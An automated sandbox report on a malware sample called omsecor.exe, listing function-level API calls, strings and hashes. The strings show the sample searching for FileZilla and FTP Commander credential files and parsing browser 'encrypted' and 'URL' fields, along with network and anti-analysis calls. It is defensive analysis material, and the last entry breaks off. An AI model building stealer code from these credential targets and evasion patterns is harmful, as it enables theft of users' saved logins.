API String ID: 3923277744-821743658
Opcode ID: e843f97767911fec9b6fd3034691d6ab50a9750596cd8693bb12be5acb83529b
Instruction ID: 0454e2dbaba930a1c05830d090df37f1eb9a44f33d61805f8e12f109ce5a2445
Opcode Fuzzy Hash: e843f97767911fec9b6fd3034691d6ab50a9750596cd8693bb12be5acb83529b
Instruction Fuzzy Hash: 21213E71D00518ABDB10EB95DC41ADFB7BCEB44318F1084B7E514B2181EB389B49CFA9

Function 0040A0B5 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040A0C0
GetModuleHandleW.KERNEL32(00000000,00000000,?,?,0040A16F,00427ED0,00000000,00000001,?,00402806,?), ref: 0040A0CE
CreateWindowExW.USER32(00000000,AtlAxWin,Shell.Explorer,80000000,00000000,00000000,000004B0,00000320,00000000,00000000,00000000), ref: 0040A0F3

Strings

AtlAxWin, xrefs: 0040A0ED
Shell.Explorer, xrefs: 0040A0E8

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: CreateHandleInitializeModuleWindow
String ID: AtlAxWin$Shell.Explorer
API String ID: 950422046-1300462704
Opcode ID: e9b6661190c81bdf072f7cb3f1dc159ab5559684b807faa4a04e62d0e94038f2
Instruction ID: 8885d0d040d3ab3e1edd42f45155a7fe84e7bff231f75e8e802cb7627400a982
Opcode Fuzzy Hash: e9b6661190c81bdf072f7cb3f1dc159ab5559684b807faa4a04e62d0e94038f2
Instruction Fuzzy Hash: 78118F30200200FFD320ABA6CC4CE6B7BBCEFCA711B240579F515EB291D7789801CA65

Function 00407267 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 53timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?,?,000003E8,?,?,?,?,?,?,?,?,?,?,?,00407B63,?), ref: 0040727C
SystemTimeToFileTime.KERNEL32(?,?,?,000003E8,?), ref: 004072C1
SystemTimeToFileTime.KERNEL32(000007B2,?), ref: 004072CB
__aulldiv.LIBCMT ref: 004072E3

Strings

c{@, xrefs: 004072D3

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: Time$System$File$__aulldiv
String ID: c{@
API String ID: 3735792614-264719814
Opcode ID: a145c05d1847671377470c3096bfc685d9fda3d476ef25e64420ea8c3ac11d0d
Instruction ID: ef19eb4ac8525f4bf2260e0142840e6d018c3cac6eb9bd4f47b1f5cd165e8a78
Opcode Fuzzy Hash: a145c05d1847671377470c3096bfc685d9fda3d476ef25e64420ea8c3ac11d0d
Instruction Fuzzy Hash: D401DE62D1022DAACB01DFE4D984CEFB77DFF44348B00156AE901F7250E7B5AA4887A5

Function 004072ED Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0040286E), ref: 004072F9
SystemTimeToFileTime.KERNEL32(?,?), ref: 00407337
SystemTimeToFileTime.KERNEL32(000007B2,?), ref: 00407341
__aulldiv.LIBCMT ref: 00407359

Strings

n(@, xrefs: 0040734C, 00407357

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: Time$System$File$__aulldiv
String ID: n(@
API String ID: 3735792614-2525614082
Opcode ID: fb9972a15ff1dd7e61217f7ff9a5823acba4978d5a12943579487cf22718de7c
Instruction ID: 0875687ad9f8fbdff1f190dbab39d4211c2ed1a8acd2afdabfbd9ccbaffc37b8
Opcode Fuzzy Hash: fb9972a15ff1dd7e61217f7ff9a5823acba4978d5a12943579487cf22718de7c
Instruction Fuzzy Hash: 83011A66D2022DAACF00DBE5DD44CEFB7BCFF44344B04051AE901B3210E7B5A648CBA9

Function 0040AB7C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000400), ref: 0040AB93
CharLowerW.USER32(?), ref: 0040ABA0
GetCommandLineW.KERNEL32 ref: 0040ABC0

Strings

netprotdrvss.exe, xrefs: 0040ABA6
/updatefile3, xrefs: 0040ABC6

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: CharCommandFileLineLowerModuleName
String ID: /updatefile3$netprotdrvss.exe
API String ID: 3118597399-3449771660
Opcode ID: a9092c2346d55b23f20d8634028d89874de2ded0d1b8197c9b1551ea588aa001
Instruction ID: 1eba2a713c21f7c79877a49aa3ec6850c44e44909145826ab611dd80b60fa5a6
Opcode Fuzzy Hash: a9092c2346d55b23f20d8634028d89874de2ded0d1b8197c9b1551ea588aa001
Instruction Fuzzy Hash: 41E09B3655021A5AD750FBB1DD07BA633ACFB01705F1049B6A246F10C0EE74D55D4F9D

Function 00409FB1 Relevance: 7.6, APIs: 5, Instructions: 53windowsleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00409FCE
GetTickCount.KERNEL32 ref: 00409FDE
Sleep.KERNEL32(00000064,?,?,0040A442,?,?), ref: 00409FEC
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00409FFB
DispatchMessageW.USER32(?), ref: 0040A009

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: CountMessageTick$DispatchPeekSleep
String ID:
API String ID: 4159783438-0
Opcode ID: 45312298ad5970842c5ee584b14830e042aefe59ca6bdbaf3830585a06b866aa
Instruction ID: c0dc46c0c87f7bc49602bd7d2efae9f565a6f52602c3eafe7569a8fa2f6b8eea
Opcode Fuzzy Hash: 45312298ad5970842c5ee584b14830e042aefe59ca6bdbaf3830585a06b866aa
Instruction Fuzzy Hash: 3F118671D103199ECB10AFF5CC8899F7BB9BB45314B144A7AE161F71E0C778CA118B1A

Function 00409F2B Relevance: 7.5, APIs: 5, Instructions: 40windowsleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00409F5B
GetTickCount.KERNEL32 ref: 00409F5F
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00409F72
DispatchMessageW.USER32(?), ref: 00409F80
Sleep.KERNEL32(0000012C,?,?,?,?,00000000), ref: 00409F8D

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: CountMessageTick$DispatchPeekSleep
String ID:
API String ID: 4159783438-0
Opcode ID: 57f1528c1cf960ce56ea9ee11f0e0f6d2bf2bfe74b8bc540e63205e3b9b5f8f9
Instruction ID: 2f378a1af0056e794f94b22e0cd08b0b0b180d2e60cd5d2ebdc62f673b65dbb1
Opcode Fuzzy Hash: 57f1528c1cf960ce56ea9ee11f0e0f6d2bf2bfe74b8bc540e63205e3b9b5f8f9
Instruction Fuzzy Hash: D1F0C872D042149BD714B7F2DD09B7D76A89B45714F104A36F551F70D1CA7CCD148A58

Function 00408692 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 152COMMON

Download Yara Rule

APIs

Part of subcall function 0040A469: InternetOpenW.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040A535
Part of subcall function 0040A469: InternetSetOptionW.WININET(00000000,00000041,00000000,00000004), ref: 0040A551

Part of subcall function 00409F2B: GetTickCount.KERNEL32 ref: 00409F5B
Part of subcall function 00409F2B: GetTickCount.KERNEL32 ref: 00409F5F
Part of subcall function 00409F2B: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00409F72
Part of subcall function 00409F2B: DispatchMessageW.USER32(?), ref: 00409F80
Part of subcall function 00409F2B: Sleep.KERNEL32(0000012C,?,?,?,?,00000000), ref: 00409F8D

CharLowerW.USER32(?,?,?,00423DD4,?,00000001), ref: 00408751
SysFreeString.OLEAUT32(?), ref: 0040875A

Strings

http://, xrefs: 00408711
+@, xrefs: 004086A0

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: CountInternetMessageTick$CharDispatchFreeLowerOpenOptionPeekSleepString
String ID: http://$+@
API String ID: 147727044-3628382792
Opcode ID: a6511d5d8b0c810daf140c5c911559c37a96c1275369982660b5569d586a1c5f
Instruction ID: 305e6509dfdc939f3ffb47eba37a7af79922f54013ecb7534e3961c93d2e4cc1
Opcode Fuzzy Hash: a6511d5d8b0c810daf140c5c911559c37a96c1275369982660b5569d586a1c5f
Instruction Fuzzy Hash: 4E41D5729002199BCF15AF66CD056EFBBB4FF44314F20447FE981B3292DB3889528B99

Function 00407D61 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 81fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(00414F68,00000000,00000000,00000000,UniqueNum,00000001), ref: 00407E09
WriteFile.KERNEL32(00000078,00000064,00000001,00000000), ref: 00407E20

Part of subcall function 00407CD7: GetModuleFileNameW.KERNEL32(00000000,?,00001000,00000000,00000000,?,00407E44,00000001,UniqueNum), ref: 00407CF6
Part of subcall function 00407CD7: CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000004,00000002,00000000,?,00407E44,00000001,UniqueNum), ref: 00407D48

Strings

x, xrefs: 00407DEF
UniqueNum, xrefs: 00407D86

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: File$CreateModuleNamePointerWrite
String ID: UniqueNum$x
API String ID: 594998759-2399716736
Opcode ID: 0d1cac2645660f3edc8ae4858b9aa10093ebf6a3be27c46c4cc389029dd9494e
Instruction ID: 8c5cde1ed6458afa5e70834db293a7f07ca8c6efd1b8e13f0da2095665a79c5a
Opcode Fuzzy Hash: 0d1cac2645660f3edc8ae4858b9aa10093ebf6a3be27c46c4cc389029dd9494e
Instruction Fuzzy Hash: F72129329002186BDF04AB74ED49DDF3B69EF44315F104636FA02E71E1E634D951C799

Function 004040E7 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 60COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(00000000,00000026,00000000,00000000,?,?,00000000,00000008), ref: 0040413A

Part of subcall function 00408248: FindFirstFileW.KERNEL32(?,?,?,00000000,00000000), ref: 00408280
Part of subcall function 00408248: WaitForSingleObject.KERNEL32(?,00000000), ref: 004082A6
Part of subcall function 00408248: PathMatchSpecW.SHLWAPI(0000002E,00000000), ref: 00408310
Part of subcall function 00408248: Sleep.KERNEL32(00000000), ref: 00408377
Part of subcall function 00408248: FindNextFileW.KERNEL32(00000000,00000010), ref: 004083A8
Part of subcall function 00408248: FindClose.KERNEL32(00000000), ref: 004083B9

Part of subcall function 0040BE3A: HeapFree.KERNEL32(00000000,00000000,0040384E), ref: 0040BE4D

Strings

#, xrefs: 0040411E
&, xrefs: 00404110
*filezilla*, xrefs: 004040F6

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: Find$FilePath$CloseFirstFolderFreeHeapMatchNextObjectSingleSleepSpecWait
String ID: #$&$*filezilla*
API String ID: 3438805939-758400021
Opcode ID: 7f420262a527ace9c0fec2a61cbcbac63df6dda7f3825d1df3812bb47b8bab04
Instruction ID: af0dd5899ef73ee7264a7e51d90439c8fcf38b6470501fb51340e8e2557856c3
Opcode Fuzzy Hash: 7f420262a527ace9c0fec2a61cbcbac63df6dda7f3825d1df3812bb47b8bab04
Instruction Fuzzy Hash: 8E1151B2901128BADB10EA92DC49EDF7BBCEF85304F00407AF605B6080E7385785CBE9

Function 00404A92 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 60COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(00000000,00000026,00000000,00000000,?,?,00000000,00000008), ref: 00404AE5

Part of subcall function 00408248: FindFirstFileW.KERNEL32(?,?,?,00000000,00000000), ref: 00408280
Part of subcall function 00408248: WaitForSingleObject.KERNEL32(?,00000000), ref: 004082A6
Part of subcall function 00408248: PathMatchSpecW.SHLWAPI(0000002E,00000000), ref: 00408310
Part of subcall function 00408248: Sleep.KERNEL32(00000000), ref: 00408377
Part of subcall function 00408248: FindNextFileW.KERNEL32(00000000,00000010), ref: 004083A8
Part of subcall function 00408248: FindClose.KERNEL32(00000000), ref: 004083B9

Part of subcall function 0040BE3A: HeapFree.KERNEL32(00000000,00000000,0040384E), ref: 0040BE4D

Strings

&, xrefs: 00404ABB
#, xrefs: 00404AC9
ftp*commander*, xrefs: 00404AA1

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: Find$FilePath$CloseFirstFolderFreeHeapMatchNextObjectSingleSleepSpecWait
String ID: #$&$ftp*commander*
API String ID: 3438805939-1149875651
Opcode ID: 371d79112eeabe7a5308543586f4c365cccc6d4de9a1601f9ce447be0e8ea6cb
Instruction ID: 4761086559ade70d73b1403ca51e5d3bc462c500c99379e4fd01d7d946a964d6
Opcode Fuzzy Hash: 371d79112eeabe7a5308543586f4c365cccc6d4de9a1601f9ce447be0e8ea6cb
Instruction Fuzzy Hash: B61121B2901118BADB10AA92DC49EDF7F7CEF85704F00407AF609B6180E7799785CBA9

Function 00409445 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 51COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(?), ref: 004094A9
SysFreeString.OLEAUT32(?), ref: 004094AE

Strings

_blank, xrefs: 0040948E
an.yandex.ru/count, xrefs: 00409478

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: FreeString
String ID: _blank$an.yandex.ru/count
API String ID: 3341692771-25359924
Opcode ID: 4ab6eb577aae85ed23f24708000ea2df93b57f18851f250654f87edd31753785
Instruction ID: 1eacecae91598e8b756cf85833a4a3bbf756f1dfdfc5fa02fd6c22f827bf3b29
Opcode Fuzzy Hash: 4ab6eb577aae85ed23f24708000ea2df93b57f18851f250654f87edd31753785
Instruction Fuzzy Hash: 28015A35204114BBDB109FA6CD05D9B77A8EF85324724443BBC15E7291E779EE02CA69

Function 00407CD7 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49fileCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00001000,00000000,00000000,?,00407E44,00000001,UniqueNum), ref: 00407CF6
GetCurrentDirectoryW.KERNEL32(00001000,?,?,00407E44,00000001,UniqueNum), ref: 00407D15
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000004,00000002,00000000,?,00407E44,00000001,UniqueNum), ref: 00407D48

Strings

\merocz.xc6, xrefs: 00407D1B

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: File$CreateCurrentDirectoryModuleName
String ID: \merocz.xc6
API String ID: 3818821825-505599559
Opcode ID: 2f84b54d5be0d3dae659ee3f303fbd3ad06020502789306fc31ef9c8cba0b7e5
Instruction ID: bb9f2ddab4bab237696810683399403c99d26191ea9c434de7a02090ea9b9a12
Opcode Fuzzy Hash: 2f84b54d5be0d3dae659ee3f303fbd3ad06020502789306fc31ef9c8cba0b7e5
Instruction Fuzzy Hash: DA01A231904224ABE7309B569C49FEB77ADEF85710F00447FB505F20D1D6749A80CAAA

Function 00409808 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 00409868
SysAllocString.OLEAUT32(?), ref: 00409876

Strings

"encrypted", xrefs: 00409815
"URL", xrefs: 00409838

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: AllocString
String ID: "URL"$"encrypted"
API String ID: 2525500382-4151690107
Opcode ID: f6e867073f93e28a707ce71cee5b1d0d556dab41e30d3c647449298916898aec
Instruction ID: 961e294ab5ae80d7ab2f0271a6faa46f3ea3f555f1d55132cdad114d364c87da
Opcode Fuzzy Hash: f6e867073f93e28a707ce71cee5b1d0d556dab41e30d3c647449298916898aec
Instruction Fuzzy Hash: 62F0D671A0021DA7CF00AB69CC01FD637ECAB4438CF1484B6F904F32C1E974EA098B98

Function 0040978D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 004097ED
SysAllocString.OLEAUT32(?), ref: 004097FB

Strings

"domain", xrefs: 004097BD
"url", xrefs: 0040979A

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: AllocString
String ID: "domain"$"url"
API String ID: 2525500382-2438671658
Opcode ID: 98133a6a8bfb7a18a2a86276567a63b94d588fd2e230135a268bf1c7eb2bd3b5
Instruction ID: 610bf4d9b2292206f8ef054453b19a236663fc5a2da35db14ea77673b97cd822
Opcode Fuzzy Hash: 98133a6a8bfb7a18a2a86276567a63b94d588fd2e230135a268bf1c7eb2bd3b5
Instruction Fuzzy Hash: 08F0A271A0021DA6CF41AAA9CC05FD637E8AB44348F1444B6F908F7281EA78EA188B94

Function 00406C77 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 26registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000002,SOFTWARE\Microsoft\Internet Explorer,00000000,00000001,00000000,?,?,00402C77), ref: 00406C91

Strings

Build, xrefs: 00406CA6
w,@, xrefs: 00406CA0
SOFTWARE\Microsoft\Internet Explorer, xrefs: 00406C87

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: Open
String ID: Build$SOFTWARE\Microsoft\Internet Explorer$w,@
API String ID: 71445658-3061378640
Opcode ID: 340e09b6331f5021cec00f630817528513552a638f53ca028bdc246a1c5cc706
Instruction ID: 930cfdd3d9e2cf302383723a85cc45ac24d6ba1b6d45bcf7a76994dd36721e6e
Opcode Fuzzy Hash: 340e09b6331f5021cec00f630817528513552a638f53ca028bdc246a1c5cc706
Instruction Fuzzy Hash: FBE08672664218FAEF009B929C07FDA77ACDB00758F20086AF502F10C1DAB5F714D6AC

Function 0040848F Relevance: 6.1, APIs: 4, Instructions: 81memoryregistryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,?,00000104,00000000,?,?,?,00403796,?,?,00000104,?,00000000), ref: 004084A5

Part of subcall function 0040845D: RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000008,00000000,?,?,004084C5,?,?,?,00000008,?,00403796,?), ref: 00408475
Part of subcall function 0040845D: RegCloseKey.ADVAPI32(?,?,004084C5,?,?,?,00000008,?,00403796,?,?,00000104,?,00000000,00000008), ref: 00408484

ExpandEnvironmentStringsW.KERNEL32(00000000,?,00000008,?,00403796,?,?,00000104,?,00000000,00000008), ref: 00408524
GetProcessHeap.KERNEL32(00000000,00000000,?,00403796,?,?,00000104,?,00000000,00000008), ref: 00408534
HeapFree.KERNEL32(00000000,?,00403796,?,?,00000104,?,00000000,00000008), ref: 0040853B

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: Heap$CloseEnvironmentExpandFreeOpenProcessQueryStringsValue
String ID:
API String ID: 3604167287-0
Opcode ID: debf70bf2fb47a5e7b7c0995a40a49e648bf285b45755a0d6fc166e7e3eeac12
Instruction ID: 704a8cbe2313c99ccb7bf4cac6d27c9c5720caa44ca6f9902b9fd9ccb38d811f
Opcode Fuzzy Hash: debf70bf2fb47a5e7b7c0995a40a49e648bf285b45755a0d6fc166e7e3eeac12
Instruction Fuzzy Hash: 0521C871900626BBDF205B748E45ABF3668EF05328F10063EF561F22D0EB758D508658

Function 00409581 Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

CharLowerW.USER32(00408E44,00000000,00000000,?,00408E44,00408795), ref: 004095A4
CharLowerW.USER32(00408795), ref: 004095D8
SysFreeString.OLEAUT32(00408795), ref: 00409608
SysFreeString.OLEAUT32(00408E44), ref: 0040960D

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: CharFreeLowerString
String ID:
API String ID: 2335467167-0
Opcode ID: ff78d62f8bf35a608bc63f02c9c9fafbc1ea89148f156ec964e1e543baeabb3a
Instruction ID: 6911929459278785efe31e607170db17e103bee024a9a22ae291265c1613d99e
Opcode Fuzzy Hash: ff78d62f8bf35a608bc63f02c9c9fafbc1ea89148f156ec964e1e543baeabb3a
Instruction Fuzzy Hash: 20116D72D00108BBDB019F9ADC85B9E7BB8EF44305F1544BAE405F21A1D779AE409F44

Function 00408091 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 139COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004081A3

Strings

-, xrefs: 00408140

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: -
API String ID: 885266447-2547889144
Opcode ID: b815d9a6725b7b7d4663accafdf12bc662ce9b6e2c1759233b63132321253c45
Instruction ID: cbf3f064ca1262f0759db58cdf0f181467b31290bd4ebff5f053a9a619aca6df
Opcode Fuzzy Hash: b815d9a6725b7b7d4663accafdf12bc662ce9b6e2c1759233b63132321253c45
Instruction Fuzzy Hash: 58415D31D0422699CB2177B98E417BB61A9DF44758F1440BFF9C0B72C2EEBC5D8581AE

Analysis Process: omsecor.exePID: 7612, Parent PID: 7596COMMON

Executed Functions

Function 004012C0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileA.KERNELBASE(ks clku .d,6C489B6B), ref: 004012DD

Part of subcall function 00401080: GetTickCount.KERNEL32 ref: 00401096
Part of subcall function 00401080: GetDesktopWindow.USER32 ref: 004010B8
Part of subcall function 00401080: GetClassNameA.USER32(00000000,00000000,00000400), ref: 004010CC
Part of subcall function 00401080: GlobalAlloc.KERNELBASE(00000000,000F6950), ref: 004010EE
Part of subcall function 00401080: GetCurrentProcess.KERNEL32(?), ref: 0040114B
Part of subcall function 00401080: GetProcessIoCounters.KERNEL32(00000000), ref: 0040114E
Part of subcall function 00401080: GetCurrentProcess.KERNEL32(?,?,?,?), ref: 004011B9
Part of subcall function 00401080: GetProcessTimes.KERNELBASE(00000000), ref: 004011BC

Strings

ks clku .d, xrefs: 004012D8

Memory Dump Source

Source File: 0000001A.00000002.2374099617.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2374028457.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2374099617.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2374203937.0000000000422000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_omsecor.jbxd

Similarity

API ID: Process$Current$AllocClassCountCountersDesktopFileFindFirstGlobalNameTickTimesWindow
String ID: ks clku .d
API String ID: 973805369-4096487313
Opcode ID: f572dfb4ccbad4a63051ea1b90dc6402510860d94203dc7c9fb76134c3d65c66
Instruction ID: 8201e92c16030f82e268503128fd01f75d7624b5287a074f0a6a6b49dcde2be8
Opcode Fuzzy Hash: f572dfb4ccbad4a63051ea1b90dc6402510860d94203dc7c9fb76134c3d65c66
Instruction Fuzzy Hash: 13C012701042448FC330AF24DE0ABAA37E4AB48300F00093AA5E8E60A4DA3455598A8A

Function 00401080 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 156
memorytimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00401096
GetDesktopWindow.USER32 ref: 004010B8
GetClassNameA.USER32(00000000,00000000,00000400), ref: 004010CC
GlobalAlloc.KERNELBASE(00000000,000F6950), ref: 004010EE
GetCurrentProcess.KERNEL32(?), ref: 0040114B
GetProcessIoCounters.KERNEL32(00000000), ref: 0040114E
GetCurrentProcess.KERNEL32(?,?,?,?), ref: 004011B9
GetProcessTimes.KERNELBASE(00000000), ref: 004011BC

Strings

cjkU dklu UUido c;aopi quio ,mvnciu cxklnsp, xrefs: 00401131

Memory Dump Source

Source File: 0000001A.00000002.2374099617.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2374028457.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2374099617.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2374203937.0000000000422000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_omsecor.jbxd

Similarity

API ID: Process$Current$AllocClassCountCountersDesktopGlobalNameTickTimesWindow
String ID: cjkU dklu UUido c;aopi quio ,mvnciu cxklnsp
API String ID: 509927810-2920797944
Opcode ID: e0b8abb97aa25d1df5e5a951dd4f26f151847d18626d26f9063e3e0a3aa5dc8f
Instruction ID: 30898c1c04428891cb82ceb7e239a2b08516cd6c9376f1465321758e23d54b14
Opcode Fuzzy Hash: e0b8abb97aa25d1df5e5a951dd4f26f151847d18626d26f9063e3e0a3aa5dc8f
Instruction Fuzzy Hash: E55127F1D041744BDB288B298D54BB9BBF5ABC5305F0881BEE689B7381D5385A48CF28

Function 00407A98 Relevance: 9.1, APIs: 6, Instructions: 65
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00407A8F), ref: 00407A98
GetModuleHandleA.KERNEL32(?,00407A8F), ref: 00407AEA
GetProcAddress.KERNEL32(00000000,00000000), ref: 00407B12

Part of subcall function 00407AB5: GetProcAddress.KERNEL32(00000000,00407AA6), ref: 00407AB6
Part of subcall function 00407AB5: VirtualProtect.KERNELBASE(?,00000078,00000004,?,00000000,00000000,00407AA6,00407A8F), ref: 00407AC8
Part of subcall function 00407AB5: VirtualProtect.KERNELBASE(?,00000078,?,?,?,00000000,00000000,00407AA6,00407A8F), ref: 00407ADC

Memory Dump Source

Source File: 0000001A.00000002.2374099617.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2374028457.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2374099617.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2374203937.0000000000422000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_omsecor.jbxd

Similarity

API ID: AddressHandleModuleProcProtectVirtual
String ID:
API String ID: 2099061454-0
Opcode ID: 18a205e926d3f8c1bd8ceb8f3c836a0ea39c7540959748e6d39d93322aab4e9f
Instruction ID: 53099f65029657388ac4b193d9ffb221688749bb3c6439a8311ebbe5e3b7996f
